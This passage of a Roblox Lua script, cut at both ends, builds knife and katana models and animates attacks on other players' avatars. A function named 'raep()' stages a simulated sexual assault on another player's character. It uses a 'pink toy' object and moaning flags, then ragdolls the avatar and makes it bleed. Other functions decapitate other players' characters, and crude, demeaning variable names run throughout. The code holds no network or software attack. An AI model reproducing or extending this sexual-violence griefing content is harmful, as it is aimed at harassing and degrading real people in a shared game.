weebshit13.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.Anchored = false weebshit13.BrickColor = BrickColor.new("Pearl") weebshit13.Friction = 0.30000001192093 weebshit13.Shape = Enum.PartType.Block weebshit13.Name = "blade" weebshit13.Parent = weebshit1 local weld9 = Instance.new('Weld',weebshit13) weld9.Part0 = weebshit13 weld9.Part1 = weebshit14 weld9.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0) grow(weld9,weebshit13,Vector3.new(0.100000009, 0.699998796, 0.0500000007),CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0),0.1) -- 18 - blade local weebshit18 = Instance.new("WedgePart") weebshit18.CFrame = CFrame.new(Vector3.new(206.077118, 15.85674, 5)) * CFrame.Angles(1.5707963705063, -1.4137160778046, 1.5707963705063) weebshit18.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.Material = Enum.Material.Metal weebshit18.Size = Vector3.new(0.100000009, 0.05, 0.230000108) weebshit18.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit18.Anchored = false weebshit18.BrickColor = BrickColor.new("Dark stone grey") weebshit18.Friction = 0.30000001192093 weebshit18.Name = "blade" weebshit18.Parent = weebshit1 local weld10 = Instance.new('Weld',weebshit18) weld10.Part0 = weebshit18 weld10.Part1 = weebshit14 weld10.C1 = CFrame.new(-0.015, 0.299937057, 2.86102295e-06)*CFrame.Angles(0,math.rad(-90),0) local coru=coroutine.wrap(function() grow(weld10,weebshit18,Vector3.new(0.1, 0.3, 0.23),CFrame.new(0, 0.499937057, 2.86102295e-06)*CFrame.Angles(0,math.rad(-90),0),0.1) end) coru() -- 19 - blade local weebshit19 = Instance.new("WedgePart") weebshit19.CFrame = CFrame.new(Vector3.new(206.096375, 15.8952179, 5.00177383)) * CFrame.Angles(1.5707963705063, -1.4137160778046, 1.5707963705063) weebshit19.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.Material = Enum.Material.Metal weebshit19.Size = Vector3.new(0.0500000007, 0.05, 0.280000091) weebshit19.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit19.Anchored = false weebshit19.BrickColor = BrickColor.new("Pearl") weebshit19.Friction = 0.30000001192093 weebshit19.Name = "blade" weebshit19.Parent = weebshit1 local weld11 = Instance.new('Weld',weebshit19) weld11.Part0 = weebshit19 weld11.Part1 = weebshit18 weld11.C1 = CFrame.new(0, 0, -0.029) * CFrame.Angles(0, 0, 0) local coru=coroutine.wrap(function() grow(weld11,weebshit19,Vector3.new(0.05, 0.37, 0.28),CFrame.new(0, 0.011, -0.029) * CFrame.Angles(0, 0, 0),0.1) end) coru() end function gunmode() working = true working = false end function knifemode() blademode = "knife" -- 6 - thicc cap local obj6 = Instance.new("Part") obj6.CFrame = CFrame.new(Vector3.new(202.399948, 10.5999813, 5.00099993)) * CFrame.Angles(-0, 0, 3.5017728805542e-07) obj6.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj6.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj6.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj6.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj6.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj6.Size = Vector3.new(0.3, 0.3, 0.3) obj6.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj6.Anchored = false obj6.BrickColor = BrickColor.new("Really black") obj6.Friction = 0.30000001192093 obj6.Shape = Enum.PartType.Ball obj6.Name = "thicc cap" obj6.Parent = handle local weld2 = Instance.new('Weld',obj6) weld2.Part0 = obj6 weld2.Part1 = handle weld2.C0 = CFrame.new(0.4, 0, 0) grow(weld2,obj6,Vector3.new(0.3, 0.3, 0.3),CFrame.new(-0.15, 0, 0),0.1) -- 8 - thicc top cap local obj8 = Instance.new("Part") obj8.CFrame = CFrame.new(Vector3.new(202.399963, 11.3000078, 5.00099993)) * CFrame.Angles(-0, 0, 3.5017728805542e-07) obj8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj8.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj8.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj8.Size = Vector3.new(0.3, 0.3, 0.3) obj8.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj8.Anchored = false obj8.BrickColor = BrickColor.new("Really black") obj8.Friction = 0.30000001192093 obj8.Shape = Enum.PartType.Ball obj8.Name = "thicc top cap" obj8.Parent = handle local weld1 = Instance.new('Weld',obj8) weld1.Part0 = obj8 weld1.Part1 = handle weld1.C0 = CFrame.new(-0.4, 0, 0) grow(weld1,obj8,Vector3.new(0.3, 0.3, 0.3),CFrame.new(0.15, 0, 0),0.1) -- 4 - thicc blade local obj4 = Instance.new("Part") obj4.CFrame = CFrame.new(Vector3.new(202.40007, 12.1600046, 5.00099707)) * CFrame.Angles(-0, 0, -0) obj4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj4.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj4.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj4.Material = Enum.Material.Metal obj4.Size = Vector3.new(0.23, 0.1, 0.1) obj4.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj4.Anchored = false obj4.BrickColor = BrickColor.new("Dark stone grey") obj4.Friction = 0.30000001192093 obj4.Shape = Enum.PartType.Block obj4.Name = "blade" obj4.Parent = handle local weld4 = Instance.new('Weld',obj4) weld4.Part0 = obj4 weld4.Part1 = handle weld4.C0 = CFrame.new(0, -0.535, 0)*CFrame.Angles(0,0,math.rad(90)) local coru=coroutine.wrap(function() grow(weld4,obj4,Vector3.new(0.23, 1.19, 0.1),CFrame.new(0.5, 0, 0),0.1) end) coru() -- 5 - thicc blade local obj5 = Instance.new("Part") obj5.CFrame = CFrame.new(Vector3.new(202.507141, 12.1749954, 5.00158167)) * CFrame.Angles(-0, 0, -0) obj5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj5.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj5.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj5.Material = Enum.Material.Metal obj5.Size = Vector3.new(0.100000009, 0.1, 0.0500000007) obj5.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj5.Anchored = false obj5.BrickColor = BrickColor.new("Pearl") obj5.Friction = 0.30000001192093 obj5.Shape = Enum.PartType.Block obj5.Name = "blade" obj5.Parent = handle local weld5 = Instance.new('Weld',obj5) weld5.Part0 = obj5 weld5.Part1 = obj4 weld5.C0 = CFrame.new(0.09, 0, 0)*CFrame.Angles(0,0,0) grow(weld5,obj5,Vector3.new(0.1, 1.19, 0.05),CFrame.new(0, 0, 0),0.1) -- 3 - thicc blade local obj3 = Instance.new("WedgePart") obj3.CFrame = CFrame.new(Vector3.new(202.40007, 12.9000006, 5.00099707)) * CFrame.Angles(-0, -1.5707963705063, 0) obj3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj3.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj3.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj3.Material = Enum.Material.Metal obj3.Size = Vector3.new(0.1, 0, 0.23) obj3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj3.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj3.Anchored = false obj3.BrickColor = BrickColor.new("Dark stone grey") obj3.Friction = 0.30000001192093 obj3.Name = "blade" obj3.Parent = handle local weld6 = Instance.new('Weld',obj3) weld6.Part0 = obj3 weld6.Part1 = obj4 weld6.C0 = CFrame.new(0, -0.595, 0)*CFrame.Angles(math.rad(0),math.rad(270),math.rad(0)) local coru=coroutine.wrap(function() grow(weld6,obj3,Vector3.new(0.1, 0.3, 0.23),CFrame.new(0, 0.15, 0),0.05) end) coru() -- 2 - thicc blade local obj2 = Instance.new("WedgePart") obj2.CFrame = CFrame.new(Vector3.new(202.423431, 12.9305696, 5.00099707)) * CFrame.Angles(-0, -1.5707963705063, 0) obj2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj2.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj2.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj2.Material = Enum.Material.Metal obj2.Size = Vector3.new(0.05, 0, 0.26) obj2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj2.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj2.Anchored = false obj2.BrickColor = BrickColor.new("Lily white") obj2.Friction = 0.30000001192093 obj2.Name = "blade" obj2.Parent = handle local weld7 = Instance.new('Weld',obj2) weld7.Part0 = obj2 weld7.Part1 = obj4 weld7.C0 = CFrame.new(0, -0.595, 0)*CFrame.Angles(math.rad(0),math.rad(270),math.rad(0)) grow(weld7,obj2,Vector3.new(0.05, 0.33, 0.24),CFrame.new(-0.02, 0.165, 0),0.05) end function raep() working = true pcall(function() local holyshit = Instance.new("Sound", handle) holyshit.SoundId = "rbxassetid://345287845" holyshit.Volume = 5 holyshit:Play() holyshit.TimePosition = 0.6 --[[local waitwhatthefuck = Instance.new("Sound", handle) waitwhatthefuck.SoundId = "rbxassetid://864314263" waitwhatthefuck:Play()]]-- local coru=coroutine.wrap(function() wait(1.95) holyshit.TimePosition = 2.8 end) coru() local tweld = Instance.new("Weld", char.HumanoidRootPart) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local rweld = Instance.new("Weld", char["Right Arm"]) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) local lweld = Instance.new("Weld", char["Left Arm"]) lweld.Part0 = char.Torso lweld.Part1 = char["Left Arm"] lweld.C0 = CFrame.new(-1.5, 0, 0) char.Humanoid.WalkSpeed = 16 local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.75, 0, 0.35) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(50)),0.2) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, -0.25, 0) * CFrame.Angles(math.rad(-15), math.rad(-45), math.rad(0)),0.2) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.75, 0, -0.35) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(-20)),0.2) local particl = Instance.new("ParticleEmitter") particl.LightEmission = 3 particl.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(42, 0, 255)), ColorSequenceKeypoint.new(0.25, Color3.fromRGB(248, 153, 0)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 0))}) particl.LightInfluence = 0.75 particl.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 0)}) particl.Lifetime = NumberRange.new(0.1, 0.5) particl.Rate = 50 particl.RotSpeed = NumberRange.new(300, 300) particl.Speed = NumberRange.new(0, 1) particl.SpreadAngle = Vector2.new(90, 90) particl.Parent = handle for i, v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA("Part") then cooldildo = particl:Clone() cooldildo.Parent = v end end particl:Remove() wait(1) MOAN = true char.Humanoid.WalkSpeed = 75 local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.6, 0.5, -0.75) * CFrame.Angles(0, math.rad(55), math.rad(90)),0.06) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(30), math.rad(0)),0.06) end) local cor3 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(270),math.rad(-90),math.rad(180)), 0.06) end) cor() cor2() cor3() lerp(lweld,lweld.C0,CFrame.new(-1.75, 0, 0.35) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(-20)),0.06) local omgg = 0 repeat wait(0.05) omgg = omgg+0.05 until aidsificating ~= nil or omgg > 2 holyshit:Destroy() char.Humanoid.WalkSpeed = 16 MOAN = false if aidsificating == nil then for i, v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA("Part") then v:FindFirstChild("ParticleEmitter"):Destroy() end end local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.08) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.08) end) local cor3 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0), 0.08) end) cor() cor2() cor3() lerp(lweld,lweld.C0,CFrame.new(-1.75, 0, 0.35) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(-20)),0.08) lweld:Remove() rweld:Remove() tweld:Remove() if torsoclone and char:FindFirstChild("Torso") and char:FindFirstChild("HumanoidRootPart") then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end else pcall(function() aidsificating.HumanoidRootPart:Destroy() end) pcall(function() ragdollpart(aidsificating,"Right Arm") ragdollpart(aidsificating,"Right Leg") ragdollpart(aidsificating,"Left Arm") ragdollpart(aidsificating,"Left Leg") end) pcall(function() ragdollpart(aidsificating,"RightUpperArm") ragdollpart(aidsificating,"RightUpperLeg") ragdollpart(aidsificating,"LeftUpperArm") ragdollpart(aidsificating,"LeftUpperLeg") end) pcall(function() local weld = Instance.new('Weld',aidsificating.Torso) weld.Part0 = aidsificating.Torso weld.Part1 = handle weld.C0 = CFrame.new(0.2,-2.5,2)*CFrame.Angles(math.rad(135),0,math.rad(-90)) for i,v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA('BasePart') and v.Name == "stretchlol" then v.BrickColor = aidsificating.Torso.BrickColor v.Transparency = 0 end end end) pcall(function() local weld = Instance.new('Weld',aidsificating.UpperTorso) weld.Part0 = aidsificating.UpperTorso weld.Part1 = handle weld.C0 = CFrame.new(0.2,-2.5,2)*CFrame.Angles(math.rad(135),0,math.rad(-90)) for i,v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA('BasePart') and v.Name == "stretchlol" then v.BrickColor = aidsificating.UpperTorso.BrickColor v.Transparency = 0 end end end) lerp(rweld,rweld.C0,CFrame.new(1.6, 1, -0.5) * CFrame.Angles(0, math.rad(55), math.rad(145)),0.06) wait(2) for i,v in pairs(aidsificating:GetDescendants()) do if v:IsA('Weld') then v:Destroy() end end pcall(function() ragdollpart(aidsificating,"Head") end) pcall(function() local thang = "Torso" if aidsificating:FindFirstChild('UpperTorso') then thang = "UpperTorso" end local ayybleed = Instance.new('Part',aidsificating) ayybleed.Size = Vector3.new(0.2,0.2,0.2) ayybleed.BrickColor = BrickColor.new('Maroon') ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 1 ayybleed.CFrame = aidsificating[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,-1,0) attachment1.Orientation = Vector3.new(180, 0, 0) local attachment0 = Instance.new('Attachment',aidsificating[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = aidsificating end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed,true) end) bleedBLEED() end) aidsificating = nil pcall(function() for i,v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA('BasePart') and v.Name == "stretchlol" then v.Transparency = 1 end end end) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.6, -0.25, 0.75) * CFrame.Angles(0, math.rad(55), math.rad(145)),0.04) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(-30), math.rad(0)),0.04) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.75, 0, 0.35) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(-20)),0.04) wait(0.1) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.6, -0.5, 1) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(-30), math.rad(0)),0.08) end) local cor3 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0), 0.08) end) cor() cor2() cor3() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.08) lweld:Remove() rweld:Remove() tweld:Remove() if torsoclone and char:FindFirstChild("Torso") and char:FindFirstChild("HumanoidRootPart") then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end end end) working = false end function katanaQ() working = true swinging = true gettingeem = true pcall(function() local rweld = Instance.new("Weld", char["Right Arm"]) local tweld = Instance.new("Weld", char.HumanoidRootPart) pcall(function() rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso end) char:FindFirstChildOfClass('Humanoid').WalkSpeed = 100 local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(5, 0, 0) at2.Visible = false at2.Position = Vector3.new(1, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.9), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 local coru=coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.35, 0.5, -1.2) * CFrame.Angles(0, math.rad(90), math.rad(90)),0.08) end) coru() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(270),math.rad(-90),math.rad(180)), 0.08) local ree=0 while goteem == nil and ree < 1 do wait(0.05) ree=ree+0.05 end char:FindFirstChildOfClass('Humanoid').WalkSpeed = 16 gettingeem = false swinging = false if goteem then wait(2) pcall(function() local sounn = Instance.new("Sound", goteem.Torso) local lipp = math.random(1, 3) if lipp == 1 then sounn.SoundId = "rbxassetid://444667844" end if lipp == 2 then sounn.SoundId = "rbxassetid://444667824" end if lipp == 3 then sounn.SoundId = "rbxassetid://444667859" end sounn:Play() end) ragdollpart(goteem,"Head") for i,v in pairs(goteem:GetDescendants()) do if v:IsA('Weld') then v:Destroy() end end goteem = nil end trail:Destroy() at1:Destroy() at2:Destroy() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0), 0.05) local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) cor() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) rweld:Destroy() tweld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end if torsoclone and char:FindFirstChild('Torso') and char:FindFirstChild('HumanoidRootPart') then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end end) swinging = false gettingeem = false working = false end local function katanaE() working = true swinging = true SLESH = true pcall(function() local rweld = Instance.new("Weld", char["Right Arm"]) local tweld = Instance.new("Weld", char.HumanoidRootPart) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso char:FindFirstChildOfClass('Humanoid').WalkSpeed = 100 local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(5, 0, 0) at2.Visible = false at2.Position = Vector3.new(1, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.9), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 local coru=coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(2, 1, 0) * CFrame.Angles(math.rad(0), 0, math.rad(60)),0.08) end) coru() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(270),math.rad(-270),math.rad(0)), 0.08) wait(1) char:FindFirstChildOfClass('Humanoid').WalkSpeed = 16 trail:Destroy() at1:Destroy() at2:Destroy() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0), 0.05) local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) cor() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) rweld:Destroy() tweld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end if torsoclone and char:FindFirstChild('Torso') and char:FindFirstChild('HumanoidRootPart') then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end end) swinging = false SLESH = false working = false end function begoneTHOUGHT() working = true pcall(function() local thott = Instance.new("Sound", char) thott.SoundId = "rbxassetid://949916584" thott.Volume = 1 thott.TimePosition = 0.5 thott.PlaybackSpeed = 1 thott.EmitterSize = player.CameraMaxZoomDistance+1 thott.MaxDistance = player.CameraMaxZoomDistance+1 thott:Play() local rweld = Instance.new("Weld", char["Right Arm"]) local tweld = Instance.new("Weld", char.HumanoidRootPart) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local coru=coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0)),0.25) end) coru() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0),math.rad(-45),math.rad(0)), 0.25) wait(0.5) local thote = Instance.new("Sound", char.Head) thote.SoundId = "rbxassetid://358498516" thote.Volume = 1 thote:Play() local coru=coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(2, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)),0.04) end) coru() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)), 0.04) wait(0.04) local ree = Instance.new('Part',workspace) ree.Shape = Enum.PartType.Cylinder ree.CanCollide = false ree.Anchored = false ree.Size = Vector3.new(0.5,2,2) ree.TopSurface = Enum.SurfaceType.Smooth ree.BottomSurface = Enum.SurfaceType.Smooth ree.Transparency = 0.8 ree.Material =Enum.Material.Neon ree.BrickColor = BrickColor.new('Toothpaste') ree.CFrame = handle.CFrame*CFrame.Angles(0,0,math.rad(90)) ree:BreakJoints() local reee = Instance.new("Sound", ree) reee.SoundId = "rbxassetid://138677306" reee:Play() local heck = Instance.new('BodyVelocity',ree) heck.Velocity = ree.CFrame.rightVector*50 heck.MaxForce = Vector3.new(math.huge,math.huge,math.huge) local coru=coroutine.wrap(function() for i=1,21 do local cf = ree.CFrame ree.Size = ree.Size+Vector3.new(0,2,2) ree.CFrame = cf wait() end for i=1,4 do local cf = ree.CFrame ree.Size = ree.Size+Vector3.new(0,2,2) ree.CFrame = cf ree.Transparency = ree.Transparency + 0.05 wait() end ree:Destroy() end) coru() ree.Touched:connect(function(hit) if hit.Parent and hit.Parent ~= char and hit.Parent:FindFirstChildOfClass('Humanoid') then hit.Parent:FindFirstChildOfClass('Humanoid').Health = 100 ragdollpart(hit.Parent,"Head") end end) wait(0.5) local coru=coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.8) end) coru() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.8) rweld:Destroy() tweld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end if torsoclone and char:FindFirstChild('Torso') and char:FindFirstChild('HumanoidRootPart') then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end end) working = false end function katanaswing() working = true pcall(function() local rweld = Instance.new("Weld", char["Right Arm"]) local lweld = Instance.new("Weld", char["Left Arm"]) local tweld = Instance.new("Weld", char.HumanoidRootPart) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) lweld.Part0 = char.Torso lweld.Part1 = char["Left Arm"] lweld.C0 = CFrame.new(-1.5, 0, 0) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(45), 0),0.08) end) cor() lerp(rweld,rweld.C0,CFrame.new(1.35, 0.5, -1.2) * CFrame.Angles(0, math.rad(110), math.rad(90)),0.08) wait(0.2) local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(5, 0, 0) at2.Visible = false at2.Position = Vector3.new(1, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, trail.Parent.Color), ColorSequenceKeypoint.new(1, trail.Parent.Color)}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.9), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 swinging = true local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(-45), 0),0.04) end) cor() lerp(rweld,rweld.C0,CFrame.new(2, 0.5, 0) * CFrame.Angles(0, math.rad(0), math.rad(90)),0.04) wait(0.2) swinging = false trail:Destroy() at1:Destroy() at2:Destroy() local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) cor() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) rweld:Destroy() lweld:Destroy() tweld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = 